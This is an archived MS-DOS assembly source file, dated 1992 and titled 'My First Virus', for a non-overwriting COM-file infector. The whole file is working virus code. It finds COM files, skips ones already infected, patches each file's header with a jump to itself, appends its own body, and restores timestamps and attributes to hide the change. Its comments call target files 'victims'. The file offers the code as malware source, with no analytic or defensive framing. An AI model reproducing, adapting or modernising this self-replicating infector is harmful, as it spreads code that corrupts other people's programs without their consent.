home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / MYVIR.ASM < prev    next >
Assembly Source File  |  1992-08-09  |  8KB  |  188 lines

  1. ;******************************************************************
  2. ;*                                                                *
  3. ;*     My First Virus, a simple non-overwriting COM infector      *
  4. ;*                                                                *
  5. ;*                                  by, Solomon                   *
  6. ;*                                                                *
  7. ;******************************************************************
  8.  
  9.                   .model tiny                   ; Memory model
  10.                   .code                         ; Start Code
  11.                   org 100h                      ; Start of COM file
  12.  
  13. MAIN:             db 0e9h,00h,00h               ; Jmp START_VIRUS
  14.  
  15. START_VIRUS       proc near                     ; Real start of Virus
  16.                   call FIND_OFFSET
  17.  
  18. ; Calculate change in offset from host program.
  19.  
  20. FIND_OFFSET:      pop bp                        ; BP holds current IP
  21.                   sub bp, offset FIND_OFFSET    ; Calculate net change
  22.                                                 ; Change BP to start of
  23.                                                 ; virus code
  24.  
  25. ; Restore original bytes to the infected program.
  26.  
  27.                   lea si,[bp+ORIG_START]        ; Restore original 3 bytes
  28.                   mov di,100h                   ; to 100h, start of file
  29.                   push di                       ; Copy 3 bytes
  30.                   movsw
  31.                   movsb
  32.  
  33. ; Change the DTA from the default so FINDFIRST/FINDNEXT won't destroy
  34. ; original command line parameters.
  35.  
  36.                   lea dx,[bp+NEW_DTA]           ; Point to new DTA area
  37.                   call SET_DTA                  ; Go change it
  38.  
  39. ; DOS Findfirst / Findnext services
  40.  
  41.  
  42. FINDFIRST:        mov ah,4eh                    ; DOS find first service
  43.                   lea dx,[bp+COM_MASK]          ; Search for any COM file
  44.                   xor cx,cx                     ; Attribute mask
  45. FINDNEXT:         int 21h                       ; Call DOS to do it
  46.                   jc QUIT                       ; Quit if there are errors
  47.                                                 ; or no more files
  48.  
  49. ; Ok, if I am here, then I found a possible victim. Open the file and
  50. ; check it for previous infections.
  51.  
  52.                   mov ax,3d00h                  ; DOS Open file, read only
  53.                   lea dx,[bp+NEW_DTA+30]        ; Point to filename we found
  54.                   int 21h                       ; Call DOS to do it
  55.                   xchg ax,bx                    ; Put file handle in BX
  56.  
  57. ; Check file for previous infection by checking for our presence at
  58. ; then end of the file.
  59.  
  60.                   mov ah,3fh                    ; DOS Read file
  61.                   lea dx,[bp+ORIG_START]        ; Save the original header
  62.                   mov cx,3                      ; Read 3 bytes
  63.                   int 21h                       ; Call DOS to do it
  64.                   mov ax,word ptr [bp+NEW_DTA+26]   ; Put filename in AX
  65.                   mov cx,word ptr [bp+ORIG_START+1] ; Jmp offset
  66.                   add cx,END_VIRUS-START_VIRUS+3; Convert to filesize
  67.                   cmp ax,cx                     ; Compare file size's
  68.                   jnz INFECT_COM                ; If healthy, go infect it
  69.                   mov ah,3eh                    ; Otherwise close file and
  70.                   int 21h                       ; try to find another victim
  71.                   mov ah,4fh                    ; DOS find next file
  72.                   jmp short FINDNEXT            ; Find another file
  73.  
  74. ; Restore default DTA and pass control back to original program.
  75. ; Call any activation routines here.
  76.  
  77. QUIT:             mov dx,80h                    ; Restore original DTA
  78.                   call SET_DTA                  ; Go change it
  79.                   retn                          ; End Virus and start original
  80.                                                 ; Program. Remember, DI holding
  81.                                                 ; 100h was pushed on the stack.
  82.  
  83. ;*** Subroutine INFECT_COM ***
  84.  
  85. INFECT_COM:
  86.  
  87. ; Reset the file attributes to normal so I can write to the file
  88.  
  89.                   mov ax,4301h                  ; DOS change file attr
  90.                   xor cx,cx                     ; Zero attributes
  91.                   lea dx,[bp+NEW_DTA+30]        ; Point to filename in DTA
  92.                   int 21h                       ; Call DOS to do it
  93.  
  94. ; Calculate jump offset for header of victim so it will run virus first.
  95.  
  96.                   mov ax,word ptr [bp+NEW_DTA+26] ; Put filesize in AX
  97.                   sub ax,3                      ; Subtract 3, size-jmp_code
  98.                   mov word ptr [bp+JMP_OFFSET],ax ; Store new offset
  99.  
  100. ; Close the file and reopen it for read/write. BX still holds file handle.
  101.  
  102.                   mov ah,3eh                    ; DOS close file
  103.                   int 21h                       ; Call DOS to do it
  104.                   mov ax,3d02h                  ; DOS open file, read/write
  105.                   int 21h                       ; Call DOS to do it
  106.                   xchg ax,bx                    ; Put file handle in BX
  107.  
  108. ; Write the new header at the beginning of the file.
  109.  
  110.                   mov ah,40h                    ; DOS write to file
  111.                   mov cx,3                      ; Write 3 bytes
  112.                   lea dx,[bp+HEADER]            ; Point to the 3 bytes to write
  113.                   int 21h                       ; Call DOS to do it
  114.  
  115. ; Move to end of file so I can append the virus to it.
  116.  
  117.                   mov al,2                      ; Select end of file
  118.                   call FILE_PTR                 ; Go to end of file
  119.  
  120. ; Append the virus to the end of the file.
  121.  
  122.                   mov ah,40h                    ; DOS write to file
  123.                   mov cx,END_VIRUS-START_VIRUS  ; Length of virus
  124.                   lea dx,[bp+START_VIRUS]       ; Start from beginning of virus
  125.                   int 21h                       ; Call DOS to do it
  126.  
  127. ; Restore the file's original timestamp and datestamp.  These values were
  128. ; stored in the DTA by the Findfirst / Findnext services.
  129.  
  130.                   mov ax,5701h                  ; DOS set file date & time
  131.                   mov cx,word ptr [bp+NEW_DTA+22] ; Set time
  132.                   mov dx,word ptr [bp+NEW_DTA+24] ; Set date
  133.                   int 21h                       ; Call DOS to do it
  134.  
  135. ; Restore original file attributes.
  136.  
  137.                   mov ax,4301h                  ; DOS change file attr
  138.                   mov cx,word ptr [bp+NEW_DTA+21] ; Get original file attr
  139.                   lea dx,[bp+NEW_DTA+30]        ; Point to file name
  140.                   int 21h                       ; Call DOS
  141.  
  142. ; Lastly, close the file and go back to main program.
  143.  
  144.                   mov ah,3eh                    ; DOS close file
  145.                   int 21h                       ; Call DOS to do it
  146.                   jmp QUIT                      ; We're done
  147.  
  148. ;*** Subroutine SET_DTA ***
  149.  
  150. SET_DTA           proc near
  151.                   mov ah,1ah                    ; DOS set DTA
  152.                   int 21h                       ; Call DOS to do it
  153.                   retn                          ; Return
  154. SET_DTA           endp
  155.  
  156.  
  157. ;*** Subroutine FILE_PTR ***
  158.  
  159.  
  160. FILE_PTR          proc near
  161.                   mov ah,42h                    ; DOS set read/write pointer
  162.                   xor cx,cx                     ; Set offset move to zero
  163.                   cwd                           ; Equivalent to xor dx,dx
  164.                   int 21h                       ; Call DOS to do it
  165.                   retn                          ; Return
  166. FILE_PTR          endp
  167.  
  168.  
  169.  
  170. ; This area will hold all variables to be encrypted
  171.  
  172. COM_MASK          db '*.com',0                  ; COM file mask
  173.  
  174. ORIG_START        db 0cdh,20h,0                 ; Header for infected file
  175.  
  176. HEADER            db 0e9h                       ; Jmp command for new header
  177.  
  178. START_VIRUS       endp
  179.  
  180. END_VIRUS         equ $                         ; Mark end of virus code
  181.  
  182. ; This data area is a scratch area and is not included in virus code.
  183.  
  184. JMP_OFFSET        dw ?                          ; Jump offset for new header
  185. NEW_DTA           db 43 dup(?)                  ; New DTA location
  186.  
  187.                   end MAIN
  188.